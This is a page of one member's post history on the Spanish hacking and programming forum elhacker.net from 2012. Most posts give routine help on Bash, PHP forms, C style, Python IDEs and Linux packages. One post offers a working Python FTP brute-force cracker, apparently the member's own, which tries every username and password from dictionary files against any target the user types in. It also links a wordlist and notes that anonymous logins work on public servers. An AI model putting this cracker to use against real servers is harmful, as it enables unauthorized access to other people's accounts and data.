elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 20
21  Programación / Scripting / Re: [AYUDA] Arrastrar archivo dentro de un bat en: 18 Mayo 2012, 20:04 pm
? Te estás contradiciendo...

¿Que es lo que quieres?.

Salu2.

Se referirá a dejar caer el archivo sobre el icono del bat, y no sobre la ventana ya abierta, o eso creo vamos :)
22  Programación / Scripting / Re: [Reto Bash] It's a dir? en: 18 Mayo 2012, 16:46 pm
[ -f "$in" ] && echo -e "Es un archivo regular."
[ -d "$in" ] && echo -e "Es un directorio."

Creo que con eso basta.

Se, esa era la solución, hubiese estado mejor el source entero pero eso era lo único trascendente :)

23  Programación / Programación General / Re: Sobre el uso de break y continue. en: 18 Mayo 2012, 02:38 am
No me gustan los saltos en los loops y como dices tú, tampoco el código spaghetti.

Y ya ni hablemos del goto, eso ya si es el acabose, sobre todo el dolor de ojos que te deja cuando ves  programas llenos de saltos de este tipo.

De todas formas, a pesar de ser malas prácticas hay en ocasiones que no hay más remedio que usarlos, en especial el break en los switch de C, aunque hay técnicas de sobra para evitar su uso :).

Un saludo, Runex.
24  Programación / Scripting / BruteForce Ftp Python en: 17 Mayo 2012, 00:49 am
Buenas compañeros, estaba haciendo un bruteforce ftp con python, pero tengo un par de problemas, uno de los cuales es la velocidad y otro el límite establecido de logueos fallidos. ¿ Alguna Idea ?

EDIT: Por lo visto el problema de la velocidad solo se da en algunos servers, en servidores que no tienen límite de intentos fallidos, funciona perfectamente :).
Resuelto el problema de los límites de fallos :)

Aquí os dejo el link con un diccionario de 3mb en texto plano ( hay bastantes :D), utilizad el mismo diccionario para los usuarios y los passwords, solo tenéis que hacer una copia y renombrarla a passwords.txt: https://rapidshare.com/files/4215115057/usuarios.txt

Tened en cuenta también que en los ftp públicos toda cuenta que tenga como user "anonymous" es válida xD.

Si os interesa que le aplique interfaz gráfica decidmelo :).

Este es el código:

Código
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import ftplib
  4.  
  5. class ftp_brute_force:
  6. def __init__(self,conectftp,target):
  7. self.listausuarios,self.listapasswords,self.conectftp,self.target,self.contadorus,self.contadorpas = ([],[],conectftp,target,0,0)
  8. print "\n[+] Cargando los diccionarios,esto puede tardar unos segundos... [+]"
  9. try:
  10. self.users = open("usuarios.txt","r")
  11. self.passwords = open("passwords.txt","r")
  12. except:
  13. print "\n [-] No existen los diccionarios"
  14. exit()
  15. for self.user in self.users.readlines():
  16. self.listausuarios.append(self.user)
  17. self.contadorus += 1
  18. for self.password in self.passwords.readlines():
  19. self.listapasswords.append(self.password)
  20. self.contadorpas += 1
  21. self.users.close()
  22. self.passwords.close()
  23. print "\n[+] Diccionarios Cargados: " + str(self.contadorus) + " Usuarios y " + str(self.contadorpas) + " Passwords [+]"
  24. print "\n[+] Combinaciones posibles: " + str(self.contadorus*self.contadorpas) +" [+]"
  25. print "\n[+] Ataque iniciado,puede llevar bastante tiempo, no cierre el programa [+]\n\n"
  26. self.bruteforce()
  27. def bruteforce(self):
  28. for self.user in self.listausuarios:
  29. for self.password in self.listapasswords:
  30. try:
  31. self.conectftp.login(self.user,self.password)
  32. print "Los datos son --> " + self.user + " y " + self.password
  33. self.conectftp.quit()
  34. self.conectftp.close()
  35. self.conectftp = ftplib.FTP(self.target)
  36. raw_input()
  37. except:
  38. print self.user + " y " + self.password + " no son correctos"
  39. self.conectftp.quit()
  40. self.conectftp.close()
  41. self.conectftp = ftplib.FTP(self.target)
  42.  
  43. print " [-] No se han podido extraer datos."
  44.  
  45. if __name__ == '__main__':
  46. print " [+]   FTP CRACKER BY RUNE   [+]\n\n\n"
  47. target = raw_input("\n\nIntroduce el target [+] > ")
  48. try:
  49. conectftp = ftplib.FTP(target)
  50. except:
  51. print " \n[-] No existe el target"
  52. exit()
  53. instancia = ftp_brute_force(conectftp,target)
  54.  
  55.  
  56.  

Por cierto, para amenizar la impresión por pantalla quería hacer tipo un contador que vaya subiendo por cada usuario y contraseña probado, sin que cambie de posición en pantalla, que se vaya actualizando, algo así:

0/10000 y que cuando pruebe 1 cambie a 1/10000 sin imprimirse en otra linea.

¿ Se os ocurre algo ?

Eso es todo compañeros, espero vuestra ayuda, un saludo, Runex :)
25  Programación / Scripting / Re: IDE para Python en: 16 Mayo 2012, 13:00 pm
A mi personalmente me encanta geany, es de lo más liviano que te puedes encontrar y a mi Pc (que es un trasto por cierto :) ) le va como anillo al dedo.

También puedes probar Ninja-Ide yo lo he usado un par de veces y la verdad es que también va bastante bien :).

Un saludo, Runex :)
26  Programación / Programación C/C++ / Re: [Ayuda] Alternativa a goto en C en: 16 Mayo 2012, 02:38 am

Puntoinfinito, mírate las diferencias entre C/C++(plus plus) y C#(sharp)  :xD.

Una buena alternativa al goto, es la utilización de funciones y las llamadas a éstas,dejando atrás,por tanto el "código spagueti".

Goto es una mala práctica y costumbre que rompe la ejecución de tu programa y puede ocasionar problemas tremendos si no contemplas todos los posibles escenarios en los que puede caer la secuencia de ejecución de un programa después de ese salto, así que nada, deja de usarlo, te vendrá bien para seguir aprendiendo :).

Un saludo, Runex
27  Foros Generales / Foro Libre / Re: -Videos youtube- elhacker.net en: 15 Mayo 2012, 23:43 pm







Lo mejor son los comentarios de la gente que se cree que va en serio y todo.. xDD


Saludos

Er morenitoh con su arteh no veah como lo parteh jajaja, lo peor no son los comentarios, es que en la vida real te encuentras gente así por la calle ;)
28  Programación / Programación General / Re: SE BUSCA DESARROLLADOR DE PROGRAMA. en: 15 Mayo 2012, 17:24 pm
De que tipo de aplicaciones estamos hablando? Únicamente para realizar transacciones o para gestión y administración?.

La putada es que tengo que prepararme la selectividad si no hubiese echado una mano :).

Un saludo.
29  Programación / PHP / Re: Varias dudas creando formularios php en: 15 Mayo 2012, 14:46 pm
Buenas compañero :).

Mira para los campos de fecha puedes restringir días mayores a 29 en febrero usando condicionales, algo así:

Código
  1. <?php
  2. if ($mes=="Febrero" && $dia>29)
  3. {
  4.   ... // Aquí puedes reducir el dia, o lanzar un mensaje de error, lo que tu quieras
  5. }
  6. ?>
  7.  

Para los checkbox haz esto:

Código
  1. <form method="POST" action="xxx">
  2. <input type="checkbox" name="check" value="1"/>
  3. <input type="checkbox" name="check" value="2"/>
  4. </form>
  5.  

Y luego ya en php esto:

Código
  1. <?php
  2. if ( $_POST["check"] == 1)
  3. {
  4. ...
  5. }
  6. if ( $_POST["check"] == 2)
  7. {
  8. ...
  9. }
  10. ?>
  11.  

Además si quieres saber si están pulsados o no, utiliza la función isset() :)

En el 3 punto no te puedo ayudar, no me hago una idea de como puedes hacerlo, esperemos más respuestas :).

Un saludo, Runex :)
30  Sistemas Operativos / GNU/Linux / Re: Problema Xulrunner en: 14 Mayo 2012, 15:49 pm
verifica tus repos, y intenta apt-get install -f (package)

Gracias, ya lo he solucionado, recurriendo a synaptic he instalado websecurify directamente :).

Un saludo :)
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 20
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines